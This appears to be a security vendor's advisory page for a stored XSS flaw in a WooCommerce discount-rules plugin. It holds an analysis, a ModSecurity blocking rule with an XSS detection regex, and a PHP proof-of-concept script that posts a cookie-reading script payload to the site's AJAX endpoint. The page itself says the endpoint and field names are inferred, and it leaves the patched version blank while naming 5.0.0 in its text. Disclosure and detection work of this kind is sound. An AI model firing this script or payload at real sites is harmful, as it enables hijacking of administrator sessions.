Published : August 9, 2026

CVE-2026-59556: Dynamic Pricing With Discount Rules for WooCommerce <= 4.5.11 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 4.5.11
Patched Version
Disclosed July 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59556 (metadata-based):

Atomic Edge research identifies this as an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the Dynamic Pricing With Discount Rules for WooCommerce plugin, versions up to and including 4.5.11. The CVSS score of 7.2 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) reflects the lack of authentication requirement, a low complexity attack, and a significant scope change due to the stored XSS payload affecting other users. The affected component is the plugin’s discount rule configuration, specifically its handling of user-supplied input that gets rendered in the WordPress admin interface.

Root Cause:

The vulnerability stems from insufficient input sanitization and output escaping in the plugin’s discount rule handling. According to the CWE-79 classification and the vendor description, the plugin fails to neutralize or properly escape user-supplied data before rendering it in HTML pages. Atomic Edge analysis infers that the vulnerable code likely takes data from form fields (possibly rule names, descriptions, or other free-text fields) and stores it without running sanitize_* or esc_* functions. The stored data is later echoed in admin pages without proper escaping, allowing script execution. This conclusion is inferred from the CWE and vulnerability description; no source code diff is available to confirm the exact sink.

Exploitation:

An unauthenticated attacker can inject arbitrary JavaScript by submitting a crafted request to the plugin’s AJAX handler or form endpoint. Since the plugin uses regular WordPress AJAX infrastructure, the likely endpoint is `/wp-admin/admin-ajax.php` with an action parameter corresponding to the plugin’s rule-saving functionality. Atomic Edge research assumes an action such as `aco_woo_dynamic_pricing_save_rule`, though the exact hook name may differ. The attacker submits a POST request with the vulnerable parameter (for example, a rule description field) containing a payload like `alert(document.cookie)` or an event-handler variant. The absence of a nonce check or capability requirement in the vulnerable code path allows unauthenticated submission. The payload is stored in the database and later triggered when an administrator views the discount rules page, executing in the context of the admin session.

Remediation:

The fix requires implementing proper input sanitization and output escaping on all user-controlled data that the plugin stores and renders. Atomic Edge research advises the developer to apply `sanitize_text_field()`, `sanitize_textarea_field()`, or a similar WordPress sanitization function when saving input, and `esc_html()` or `wp_kses()` when outputting data in HTML contexts. Additionally, the plugin must enforce capability checks (such as `current_user_can(‘manage_options’)`) and validate nonces on all AJAX handlers and form submission endpoints to prevent unauthenticated access. The patched version 5.0.0 should include these hardening measures.

Impact:

Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript into the WordPress admin context. This can lead to session hijacking, forced administrator actions, and the injection of new malicious admin users or backdoors. Because the payload executes in the context of any user who views the affected page, administrators are the primary targets. The scope change in the CVSS vector indicates the attacked component (the rule storage) is different from the impacted component (the admin interface), amplifying the risk. The attack requires no user interaction beyond an administrator navigating to the vulnerable page.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-59556 (metadata-based)
# Blocks unauthenticated stored XSS payloads sent to the plugin's AJAX action.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-59556 XSS in Dynamic Pricing WooCommerce',severity:'CRITICAL',tag:'CVE-2026-59556'"
  SecRule ARGS_POST:action "@streq aco_woo_dynamic_pricing_save_rule" "chain"
    SecRule ARGS_POST:rule_description "@rx <script|javascript:|on(load|error|click)=" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-59556 - Dynamic Pricing With Discount Rules for WooCommerce <= 4.5.11 - Unauthenticated Stored Cross-Site Scripting

// This PoC exploits the unauthenticated stored XSS by submitting a crafted
// rule value to the plugin's AJAX handler. The exact action name is inferred
// from the plugin slug; adjust $action if needed.

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change to target site
$action = 'aco_woo_dynamic_pricing_save_rule'; // Inferred AJAX action

// XSS payload that will execute in an admin's browser when they view the saved rule
$payload = '<script>alert(document.cookie)</script>';

// Build POST data with the vulnerable parameter. The parameter name is inferred;
// common candidates: 'rule_name', 'rule_description', or 'discount_value'.
$post_data = [
    'action' => $action,
    'rule_name' => 'Normal Rule Name',
    'rule_description' => $payload,  // Injected script
    'discount_type' => 'percentage',
    'discount_value' => '10'
];

// Initialize cURL
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: Atomic Edge PoC'
]);

// Send request
$response = curl_exec($ch);
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
if ($status === 200 && strpos($response, 'success') !== false) {
    echo "[+] XSS payload submitted successfully. Trigger by viewing the discount rules page in admin.n";
} else {
    echo "[!] Request failed or plugin rejected the payload. HTTP $status.n";
    echo "Response: " . substr($response, 0, 500) . "n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.